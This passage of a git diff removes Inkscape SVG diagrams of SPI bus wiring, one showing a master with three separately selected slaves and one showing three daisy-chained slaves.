174.25,148.375 z " - id="path2693" /> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2695" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-34.89167,13.09186)" /> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2697" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-34.78125,104.5938)" /> - <g - id="g2274"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.02505863px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 185.6875,132.28125 L 185.6875,223.5 L 185.6875,224 L 186.1875,224 L 220.5625,224 L 220.5625,222.96875 L 186.71875,222.96875 L 186.71875,132.28125 L 185.6875,132.28125 z " - id="path2699" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.8200469pt;marker-start:none" - d="M 225.28696,223.48748 L 218.19355,227.58771 L 218.19355,219.38725 L 225.28696,223.48748 z " - id="path2280" /> - </g> - <g - id="g2282"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.03560543px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 197.1875,117.25 L 197.1875,208.09375 L 197.1875,208.625 L 197.6875,208.625 L 220.4375,208.625 L 220.4375,207.59375 L 198.21875,207.59375 L 198.21875,117.25 L 197.1875,117.25 z " - id="path2701" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.82848434pt;marker-start:none" - d="M 225.22445,208.10791 L 218.05807,212.25033 L 218.05807,203.96549 L 225.22445,208.10791 z " - id="path2288" /> - </g> - <g - id="g2218"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.98819256px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 136.71875,56.375 L 136.71875,57.375 C 181.77434,57.375 204.2986,57.375 215.5625,57.375 C 221.19445,57.375 223.99826,57.375 225.40625,57.375 C 226.11024,57.375 226.449,57.375 226.625,57.375 C 226.713,57.375 226.75925,57.375 226.78125,57.375 C 226.79225,57.375 226.80975,57.375 226.8125,57.375 L 226.8125,56.875 L 226.8125,56.375 C 226.8125,56.375 226.82993,56.375 136.71875,56.375 z " - id="path2789" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.79055405pt;marker-start:none" - d="M 132.14357,56.869228 L 138.98187,52.916458 L 138.98187,60.821998 L 132.14357,56.869228 z " - id="path2224" /> - </g> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2567" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-23.48829,88.96704)" /> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2569" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-12.01454,73.9631)" /> - <g - id="g2794"> - <rect - y="12.917446" - x="12.858437" - height="100.88948" - width="118.28313" - id="rect1307" - style="fill:#ffc2a1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.88664234px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text2182" - y="60.212772" - x="38" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="60.212772" - x="38" - id="tspan2184" - sodipodi:role="line">SPI</tspan><tspan - id="tspan2186" - y="75.212772" - x="38" - sodipodi:role="line">Master</tspan></text> - <text - sodipodi:linespacing="125%" - id="text3061" - y="30.724487" - x="120" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:end;line-height:125%;writing-mode:lr-tb;text-anchor:end;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="30.724487" - x="120" - id="tspan3063" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan3065" - y="45.724487" - x="120" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan3067" - y="60.724487" - x="120" - sodipodi:role="line">MISO</tspan><tspan - id="tspan3069" - y="75.724487" - x="120" - sodipodi:role="line">SS1</tspan><tspan - id="tspan2673" - y="90.724487" - x="120" - sodipodi:role="line">SS2</tspan><tspan - id="tspan2675" - y="105.72449" - x="120" - sodipodi:role="line">SS3</tspan></text> - <path - id="path2341" - d="M 97.886043,64.584585 L 118.40024,64.584585" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <path - id="path2624" - d="M 97.886044,79.919953 L 118.40024,79.919953" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <path - id="path2626" - d="M 97.886043,95.255342 L 118.40024,95.255342" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - <g - id="g2771"> - <rect - y="12.768347" - x="226.85843" - height="72.187675" - width="118.28313" - id="rect3084" - style="fill:#b9e179;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text3086" - y="45.712769" - x="320" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="45.712769" - x="320" - id="tspan3088" - sodipodi:role="line">SPI</tspan><tspan - id="tspan3090" - y="60.712769" - x="320" - sodipodi:role="line">Slave</tspan></text> - <text - id="text3092" - y="30.724487" - x="236" - style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="30.724487" - x="236" - id="tspan3094" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan3096" - y="45.724487" - x="236" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan3098" - y="60.724487" - x="236" - sodipodi:role="line">MISO</tspan><tspan - id="tspan3100" - y="75.724487" - x="236" - sodipodi:role="line">SS</tspan></text> - <path - id="path2694" - d="M 236.92188,65.124998 L 250.14063,65.124998" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - <g - id="g2750"> - <rect - y="103.46392" - x="226.87628" - height="72.187675" - width="118.28313" - id="rect1462" - style="fill:#8fbbdf;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text1464" - y="136.40834" - x="320.01785" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="136.40834" - x="320.01785" - id="tspan1466" - sodipodi:role="line">SPI</tspan><tspan - id="tspan1468" - y="151.40834" - x="320.01785" - sodipodi:role="line">Slave</tspan></text> - <text - id="text1470" - y="121.42006" - x="236.01785" - style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="121.42006" - x="236.01785" - id="tspan1472" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan1474" - y="136.42006" - x="236.01785" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan1476" - y="151.42006" - x="236.01785" - sodipodi:role="line">MISO</tspan><tspan - id="tspan1478" - y="166.42006" - x="236.01785" - sodipodi:role="line">SS</tspan></text> - <path - id="path2696" - d="M 236.95313,155.4375 L 250.17188,155.4375" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - <g - id="g2729"> - <rect - y="194.15945" - x="226.87628" - height="72.187675" - width="118.28313" - id="rect1482" - style="fill:#bfa1d1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text1484" - y="227.10387" - x="320.01785" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="227.10387" - x="320.01785" - id="tspan1486" - sodipodi:role="line">SPI</tspan><tspan - id="tspan1488" - y="242.10387" - x="320.01785" - sodipodi:role="line">Slave</tspan></text> - <text - id="text1490" - y="212.11559" - x="236.01785" - style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="212.11559" - x="236.01785" - id="tspan1492" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan1494" - y="227.11559" - x="236.01785" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan1496" - y="242.11559" - x="236.01785" - sodipodi:role="line">MISO</tspan><tspan - id="tspan1498" - y="257.11559" - x="236.01785" - sodipodi:role="line">SS</tspan></text> - <path - id="path2698" - d="M 236.57813,246 L 249.79688,246" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - </g> -</svg> diff --git a/20161110/SPI_three_slaves_daisy_chained.svg b/20161110/SPI_three_slaves_daisy_chained.svg deleted file mode 100644 index 5256fcff4a1fe1c6e70a5e4926623944c47b9e5a..0000000000000000000000000000000000000000 --- a/20161110/SPI_three_slaves_daisy_chained.svg +++ /dev/null @@ -1,537 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://web.resource.org/cc/" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - width="290pt" - height="230pt" - id="svg2" - sodipodi:version="0.32" - inkscape:version="0.45" - sodipodi:docbase="/home/cburnett/wikipedia/images/electronics" - sodipodi:docname="SPI three slaves daisy chained.svg" - version="1.0" - inkscape:output_extension="org.inkscape.output.svg.inkscape" - sodipodi:modified="true"> - <defs - id="defs4"> - <marker - inkscape:stockid="TriangleInM" - orient="auto" - refY="0.0" - refX="0.0" - id="TriangleInM" - style="overflow:visible"> - <path - id="path2480" - d="M 5.77,0.0 L -2.88,5.0 L -2.88,-5.0 L 5.77,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(-0.4)" /> - </marker> - <marker - inkscape:stockid="Arrow2Mstart" - orient="auto" - refY="0" - refX="0" - id="Arrow2Mstart" - style="overflow:visible"> - <path - id="path2570" - style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round" - d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z " - transform="matrix(0.6,0,0,0.6,-3,0)" /> - </marker> - <marker - inkscape:stockid="TriangleInL" - orient="auto" - refY="0" - refX="0" - id="TriangleInL" - style="overflow:visible"> - <path - id="path2502" - d="M 5.77,0 L -2.88,5 L -2.88,-5 L 5.77,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(-0.8,-0.8)" /> - </marker> - <marker - inkscape:stockid="TriangleOutL" - orient="auto" - refY="0" - refX="0" - id="TriangleOutL" - style="overflow:visible"> - <path - id="path2493" - d="M 5.77,0 L -2.88,5 L -2.88,-5 L 5.77,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(0.8,0.8)" /> - </marker> - <marker - inkscape:stockid="Arrow2Lstart" - orient="auto" - refY="0" - refX="0" - id="Arrow2Lstart" - style="overflow:visible"> - <path - id="path2576" - style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round" - d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z " - transform="matrix(1.1,0,0,1.1,-5.5,0)" /> - </marker> - <marker - inkscape:stockid="Arrow2Lend" - orient="auto" - refY="0" - refX="0" - id="Arrow2Lend" - style="overflow:visible"> - <path - id="path3298" - style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round" - d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z " - transform="matrix(-1.1,0,0,-1.1,5.5,0)" /> - </marker> - <marker - inkscape:stockid="Arrow1Lend" - orient="auto" - refY="0" - refX="0" - id="Arrow1Lend" - style="overflow:visible"> - <path - id="path3316" - d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(-0.8,-0.8)" /> - </marker> - <marker - inkscape:stockid="Arrow1Lstart" - orient="auto" - refY="0" - refX="0" - id="Arrow1Lstart" - style="overflow:visible"> - <path - id="path3319" - d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(0.8,0.8)" /> - </marker> - </defs> - <sodipodi:namedview - id="base" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - inkscape:pageopacity="0.0" - inkscape:pageshadow="2" - inkscape:zoom="2.0000001" - inkscape:cx="217.78144" - inkscape:cy="139.15758" - inkscape:document-units="px" - inkscape:current-layer="layer1" - inkscape:window-width="1272" - inkscape:window-height="965" - inkscape:window-x="0" - inkscape:window-y="31" /> - <metadata - id="metadata7"> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - </cc:Work> - </rdf:RDF> - </metadata> - <g - inkscape:label="Layer 1" - inkscape:groupmode="layer" - id="layer1"> - <g - id="g2202"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 131.25,25 L 131.25,25.96875 C 176.07915,25.96875 198.51146,25.96875 209.71875,25.96875 C 215.32239,25.96875 218.13034,25.96875 219.53125,25.96875 C 220.23171,25.96875 220.57489,25.96875 220.75,25.96875 C 220.83756,25.96875 220.88436,25.96875 220.90625,25.96875 L 220.90625,25.5 L 220.90625,25 C 220.90625,25 220.90829,25 131.25,25 z " - id="path3144" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none" - d="M 225.38904,25.497581 L 218.6888,29.37055 L 218.6888,21.624612 L 225.38904,25.497581 z " - id="path2208" /> - </g> - <g - id="g2210"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 131.25,40.625 L 131.25,41.59375 C 176.07915,41.593749 198.51146,41.59375 209.71875,41.59375 C 215.32239,41.59375 218.13034,41.59375 219.53125,41.59375 C 220.23171,41.59375 220.57489,41.59375 220.75,41.59375 C 220.83756,41.59375 220.88436,41.59375 220.90625,41.59375 L 220.90625,41.09375 L 220.90625,40.625 C 220.90625,40.625 220.90829,40.624998 131.25,40.625 z " - id="path3330" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none" - d="M 225.38904,41.101164 L 218.6888,44.974133 L 218.6888,37.228195 L 225.38904,41.101164 z " - id="path2216" /> - </g> - <g - id="g2226"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 131.25,71.8125 L 131.25,72.78125 C 176.07915,72.78125 198.51146,72.78125 209.71875,72.78125 C 215.32239,72.78125 218.13034,72.78125 219.53125,72.78125 C 220.23171,72.78125 220.57489,72.78125 220.75,72.78125 C 220.83756,72.78125 220.88436,72.78125 220.90625,72.78125 L 220.90625,72.3125 L 220.90625,71.8125 C 220.90625,71.8125 220.90829,71.8125 131.25,71.8125 z " - id="path3334" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none" - d="M 225.38904,72.308296 L 218.6888,76.181265 L 218.6888,68.435327 L 225.38904,72.308296 z " - id="path2232" /> - </g> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2607" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-12.09375,-18)" /> - <g - id="g2234"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.04614723px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 197.09375,25.5 L 197.09375,117.40625 L 197.09375,117.9375 L 197.625,117.9375 L 220.65625,117.9375 L 220.65625,116.90625 L 198.15625,116.90625 L 198.15625,25.5 L 197.09375,25.5 z " - id="path2689" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.83691778pt;marker-start:none" - d="M 225.48174,117.42146 L 218.2424,121.60605 L 218.2424,113.23687 L 225.48174,117.42146 z " - id="path2240" /> - </g> - <g - id="g2282"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.03560543px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 197.1875,117.25 L 197.1875,208.09375 L 197.1875,208.625 L 197.6875,208.625 L 220.4375,208.625 L 220.4375,207.59375 L 198.21875,207.59375 L 198.21875,117.25 L 197.1875,117.25 z " - id="path2701" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.82848434pt;marker-start:none" - d="M 225.22445,208.10791 L 218.05807,212.25033 L 218.05807,203.96549 L 225.22445,208.10791 z " - id="path2288" /> - </g> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2569" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-12.01454,73.9631)" /> - <g - id="g1955" - transform="matrix(1.008289,0,0,1,-1.516952,0)"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.97181958px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 183,56.625 L 183,133.625 L 183,134.125 L 183.5,134.125 L 220.6875,134.125 L 220.6875,133.125 L 183.96875,133.125 L 183.96875,56.625 L 183,56.625 z " - id="path1398" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77745566pt;marker-start:none" - d="M 225.16559,133.625 L 218.4406,137.51228 L 218.4406,129.73772 L 225.16559,133.625 z " - id="path1961" /> - </g> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.99899px;stroke-linecap:square;stroke-linejoin:miter;stroke-opacity:1" - d="M 183,56.3125 L 183,57.3125 L 183.5038,57.3125 C 205.01279,57.312499 215.78552,57.3125 221.16276,57.3125 C 223.85139,57.3125 225.18223,57.3125 225.85439,57.3125 C 225.94283,57.3125 225.94512,57.3125 226.01183,57.3125 C 226.19858,57.3125 226.39074,57.3125 226.45265,57.3125 L 226.51562,57.3125 C 226.51562,57.3125 226.51562,56.8125 226.51562,56.8125 L 226.51562,56.3125 C 226.51562,56.3125 226.0119,56.3125 226.01183,56.3125 C 226.00599,56.3125 226.01789,56.312498 183.5038,56.3125 L 183,56.3125 z " - id="path2273" /> - <g - id="g1971" - transform="matrix(1.007327,0,0,1,-1.340809,0)"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.97181958px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 183,147.0625 L 183,224.0625 L 183,224.53125 L 183.5,224.53125 L 220.6875,224.53125 L 220.6875,223.5625 L 183.96875,223.5625 L 183.96875,147.0625 L 183,147.0625 z " - id="path2275" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77745566pt;marker-start:none" - d="M 225.16559,224.05636 L 218.4406,227.94364 L 218.4406,220.16908 L 225.16559,224.05636 z " - id="path1977" /> - </g> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.99899px;stroke-linecap:square;stroke-linejoin:miter;stroke-opacity:1" - d="M 183,146.75 L 183,147.75 L 183.50409,147.75 C 205.02565,147.75 215.80467,147.75 221.18506,147.75 C 223.87526,147.75 225.20688,147.75 225.87943,147.75 C 225.96792,147.75 225.97022,147.75 226.03696,147.75 C 226.22383,147.75 226.4161,147.75 226.47804,147.75 L 226.54105,147.75 C 226.54105,147.75 226.54105,147.25 226.54105,147.25 L 226.54105,146.75 C 226.54105,146.75 226.03703,146.75 226.03696,146.75 C 226.03112,146.75 226.04303,146.75001 183.50409,146.75 L 183,146.75 z " - id="path2277" /> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2586" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-70.19016,28.79256)" /> - <g - id="g1987"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.98554045px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 139.5,162 C 139.5,162 139.5,162.5 139.5,162.5 L 139.5,163 C 139.5,163 139.49105,163 220.59375,163 L 220.59375,162 C 180.0424,162 159.76284,162 149.625,162 C 144.55608,162 142.01723,162 140.75,162 C 140.11639,162 139.81465,162 139.65625,162 C 139.57705,162 139.5198,162 139.5,162 z " - id="path2588" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.78843236pt;marker-start:none" - d="M 225.13765,162.5 L 218.31771,166.44216 L 218.31771,158.55784 L 225.13765,162.5 z " - id="path1993" /> - </g> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2590" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-70.29688,118.9503)" /> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 138.96875,72.375 C 138.96875,163.44362 138.96875,208.9516 138.96875,231.71875 C 138.96875,243.10233 138.96875,248.81036 138.96875,251.65625 C 138.96875,253.0792 138.96875,253.80051 138.96875,254.15625 C 138.96875,254.33412 138.96875,254.42428 138.96875,254.46875 C 138.96875,254.49098 138.96875,254.49444 138.96875,254.5 L 139.96875,254.5 C 139.96875,254.5 139.96875,254.51224 139.96875,72.375 L 138.96875,72.375 z " - id="path2592" /> - <g - id="g1979"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 139.875,253.25 L 139.875,254.25 C 180.33454,254.25 200.57261,254.25 210.6875,254.25 C 215.74494,254.25 218.26689,254.25 219.53125,254.25 C 220.16343,254.25 220.46695,254.25 220.625,254.25 C 220.70402,254.25 220.76149,254.25 220.78125,254.25 L 220.78125,253.75 L 220.78125,253.25 C 220.78125,253.25 220.79409,253.25 139.875,253.25 z " - id="path2594" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.8pt;marker-start:none" - d="M 225.41009,253.75 L 218.49009,257.75 L 218.49009,249.75 L 225.41009,253.75 z " - id="path1985" /> - </g> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 167.78125,238.125 L 167.78125,239.125 L 226.53125,239.125 L 226.53125,238.125 L 167.78125,238.125 z " - id="path3158" /> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.00033176px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 167.77935,56.8125 C 167.77935,56.8125 167.77935,56.817075 167.77935,238.4375 L 168.77935,238.4375 C 168.77935,147.62729 168.77935,102.2338 168.77935,79.53125 C 168.77935,68.179973 168.77935,62.494069 168.77935,59.65625 C 168.77935,58.23734 168.77935,57.510977 168.77935,57.15625 C 168.77935,56.978886 168.77935,56.919341 168.77935,56.875 C 168.77935,56.85283 168.77935,56.818043 168.77935,56.8125 L 167.77935,56.8125 z " - id="path4045" /> - <g - id="g4057"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1" - d="M 136.90625,56.8125 C 136.90625,56.8125 136.90625,57.3125 136.90625,57.3125 L 136.90625,57.8125 C 136.90625,57.8125 136.9085,57.8125 168.28125,57.8125 L 168.28125,56.8125 C 152.59487,56.8125 144.73409,56.8125 140.8125,56.8125 C 138.8517,56.8125 137.89645,56.8125 137.40625,56.8125 C 137.16115,56.8125 137.03002,56.8125 136.96875,56.8125 C 136.93811,56.8125 136.91391,56.8125 136.90625,56.8125 z " - id="path4047" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.8pt;marker-start:none" - d="M 132.28476,57.3125 L 139.20476,53.3125 L 139.20476,61.3125 L 132.28476,57.3125 z " - id="path4063" /> - </g> - <g - id="g3941"> - <rect - y="12.791164" - x="12.858437" - height="72.150665" - width="118.28313" - id="rect1307" - style="fill:#ffc2a1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74980044px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text2182" - y="45.712769" - x="38" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="45.712769" - x="38" - id="tspan2184" - sodipodi:role="line">SPI</tspan><tspan - id="tspan2186" - y="60.712769" - x="38" - sodipodi:role="line">Master</tspan></text> - <text - sodipodi:linespacing="125%" - id="text3061" - y="30.724487" - x="120" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:end;line-height:125%;writing-mode:lr-tb;text-anchor:end;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" 